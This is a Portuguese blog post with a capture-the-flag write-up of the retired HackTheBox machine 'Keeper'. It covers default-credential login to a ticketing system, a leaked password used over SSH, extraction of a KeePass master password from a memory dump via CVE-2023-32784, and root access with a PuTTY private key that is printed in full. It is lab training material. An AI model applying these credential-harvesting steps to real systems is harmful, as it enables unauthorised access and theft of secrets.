DEV Community

Guilherme Martins
Guilherme Martins

Posted on

2 2 1

HackTheBox - Writeup Keeper [Retired]

Neste writeup iremos explorar uma máquina easy chamada Keeper que explora as seguintes vulnerabilidades e técnicas.

Recon e User Flag

Vamos iniciar realizando uma varredura nas portas utilizando o nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/keeper]
└─# nmap -sV --open -Pn -sC 10.129.122.191
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-12 15:04 EDT
Nmap scan report for 10.129.122.191
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
|_  256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

Ao acessar pelo navegador na porta 80 nos é exibido uma mensagem informando para acessar:

http://tickets.keeper.htb/rt

Redirect

Para isso vamos inserir em nosso /etc/hosts tickets.keeper.htb.
E aqui temos a seguinte página de login:

Best Practical Login

Se trata de um acesso ao sistema de tickets “Best Practical Solutions”. Também temos a informação do sistema operacional:

RT 4.4.4+dfsg-2ubuntu1 (Debian) Copyright 1996-2019 Best Practical Solutions, LLC.
Enter fullscreen mode Exit fullscreen mode

Buscando na documentação deste sistema de ticket conseguimos o acesso admin utilizando as credenciais default:

  • user: root
  • pass: password

Agora precisamos analisar o que conseguimos de informações!

Visualizando os usuários conseguimos encontrar em uma sessão de comentários que nos informa uma senha:

Sensitive information exposure

E com essa senha conseguimos acesso com o usuário lnorgaard, que possui a user flag!

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/wifinetictwo]
└─# ssh lnorgaard@10.129.122.191            
...
....
lnorgaard@keeper:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  RT30000.zip  .ssh  user.txt  .vimrc
lnorgaard@keeper:~$ cat user.txt 
9b2190c26059e89932dab94b1d8915b5
Enter fullscreen mode Exit fullscreen mode

Escalação de privilégios e Root Flag

Ainda analisando o sistema de tickets notamos que existe um que nos chama atenção. É uma interação entre o usuário root e o usuário lnorgaard.

Esse ticket informa que o usuário root teve problemas com seu KeePass e disponibilizou um dump de memória para que seja analisado. O usuário lnorgaard informa que como é inseguro inserir esse tipo de informação em anexo o arquivo removido e adicionado em sua home.

Voltando para nosso acesso ssh encontramos o arquivo em questão. Ele esta compactado:

/home/lnorgaard/RT30000.zip
Enter fullscreen mode Exit fullscreen mode

Descompactando esse arquivo temos dois arquivos:

  • KeePassDumpFull.dmp
  • passcodes.kdbx

O primeiro arquivo é um Mini DuMP crash report, basicamente um dump de memória do windows.

Já o segundo é um arquivo do KeePass que armazena secrets.

Existem diversas vulnerabilidades que forma reportadas no KeePass recentemente, dentre elas temos a CVE-2023-32784. Essa vulnerabilidade permite que seja recuperada a senha em texto plano da memória (Vulnerabilidade ja explorada na máquina Mailroom).

Como temos o arquivo de dump podemos buscar extrair a senha do mesmo.

Podemos confirmar que o arquivo de dump possui a execução através do radare:

[0x00704fde]> iSq~exe
0x610000 0x92a000 ---- C:\Program Files\KeePass Password Safe 2\KeePass.exe
Enter fullscreen mode Exit fullscreen mode

Para realizar a extração das credenciais iremos utilizar um exploit público feito em dotnet:

https://github.com/vdohney/keepass-password-dumper

Para realizar os procedimentos precisamos realizar o download de ambos os arquivos para nossa máquina local, visto que não temos permissão ou pacotes necessários para realizar os procedimentos a seguir no alvo.

Localmente iremos executar o exploit (lembrando que é precise ter o dotnet 7.0):

┌──(rootkali)-[/home//hackthebox/machines-linux/keeper/keepass-password-dumper]
└─# dotnet run ../KeePassDumpFull.dmp
Found: ●●d
Found: ●●d
...
Password candidates (character positions):
Unknown characters are displayed as ""
1.:     
2.:     ,, l, `, -, ', ], A, I, :, =, _, c, M,
3.:     d,
4.:     g,
5.:     r,
6.:     ●
7.:     d,
8.:      ,
9.:     m,
10.:    e,
11.:    d,
12.:     ,
13.:    f,
14.:    l,
15.:    ●
16.:    d,
17.:    e,
Combined: ●{,, l, `, -, ', ], A, I, :, =, _, c, M}dgr●d med fl●de
Enter fullscreen mode Exit fullscreen mode

Acima temos um resultado um tanto quanto estranho:

dgrd med flde
Enter fullscreen mode Exit fullscreen mode

Mas pesquisando isso no google temos o seguinte resultado:

Pudim

Rodgrod med flod é um um pudim dinamarquês e se escreve da seguinte forma usando o alfabeto dinamarquês, que é o alfabeto romano completo. Onde existem mais três letras próprias (Æ, Ø, Å), com nossa resposta da seguinte forma:

rødgrød med fløde
Enter fullscreen mode Exit fullscreen mode

Que podemos confirmar ser a senha de acesso ao arquivo do KeePass utilizando o kpcli:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/keeper]
└─# kpcli --kdb passcodes.kdbx
Provide the master password: *************************

KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/>
Enter fullscreen mode Exit fullscreen mode

Analisando o conteúdo deste cofre encontramos os dados de acesso do usuário root:

kpcli:/> ls
=== Groups ===
passcodes/
kpcli:/> ls passcodes
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/

kpcli:/> ls passcodes/Network
=== Entries ===
0. keeper.htb (Ticketing Server)
1. Ticketing System

kpcli:/> show -f 0

Title: keeper.htb (Ticketing Server)
Uname: root
 Pass: F4><3K0nd!
  URL:
Notes: PuTTY-User-Key-File-3: ssh-rsa
       Encryption: none
       Comment: rsa-key-20230519
       Public-Lines: 6
       AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
       8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
       EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
       Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
       FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
       LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
       Private-Lines: 14
       AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
       oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
       kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
       f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
       VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
       UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
       OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
       in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
       SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
       09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
       xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
       AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
       AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
       NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
       Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
Enter fullscreen mode Exit fullscreen mode

Encontramos usuário, senha e chave do putty do usuário root. No entanto a senha não esta funcional via ssh ou via su.

Mas temos uma chave ppk em nosso vault, vamos salvar em um arquivo em nossa máquina local:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/keeper]
└─# cat root.ppk 
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
Enter fullscreen mode Exit fullscreen mode

Agora iremos converter a chave ppk do putty para um private key (pem) para acessarmos:

┌──(root㉿kali)-[~]
└─# puttygen root.ppk -O private-openssh -o root-key.pem
Enter fullscreen mode Exit fullscreen mode

Com essa nova chave privada podemos acessar como usuário root, buscar a root flag e finalizar a máquina.

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/keeper]
└─# ssh -i keys/root-key.pem root@10.129.121.255
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have new mail.
Last login: Tue Aug  8 19:00:06 2023 from 10.10.14.41
root@keeper:~# cat root.txt
2340facd7897eea0d3b6276c6f269f33
Enter fullscreen mode Exit fullscreen mode

Com isso finalizamos a máquina Keeper!

Image of AssemblyAI tool

Challenge Submission: SpeechCraft - AI-Powered Speech Analysis for Better Communication

SpeechCraft is an advanced real-time speech analytics platform that transforms spoken words into actionable insights. Using cutting-edge AI technology from AssemblyAI, it provides instant transcription while analyzing multiple dimensions of speech performance.

Read full post

Top comments (0)

AWS Security LIVE!

Tune in for AWS Security LIVE!

Join AWS Security LIVE! for expert insights and actionable tips to protect your organization and keep security teams prepared.

Learn More

👋 Kindness is contagious

Immerse yourself in a wealth of knowledge with this piece, supported by the inclusive DEV Community—every developer, no matter where they are in their journey, is invited to contribute to our collective wisdom.

A simple “thank you” goes a long way—express your gratitude below in the comments!

Gathering insights enriches our journey on DEV and fortifies our community ties. Did you find this article valuable? Taking a moment to thank the author can have a significant impact.

Okay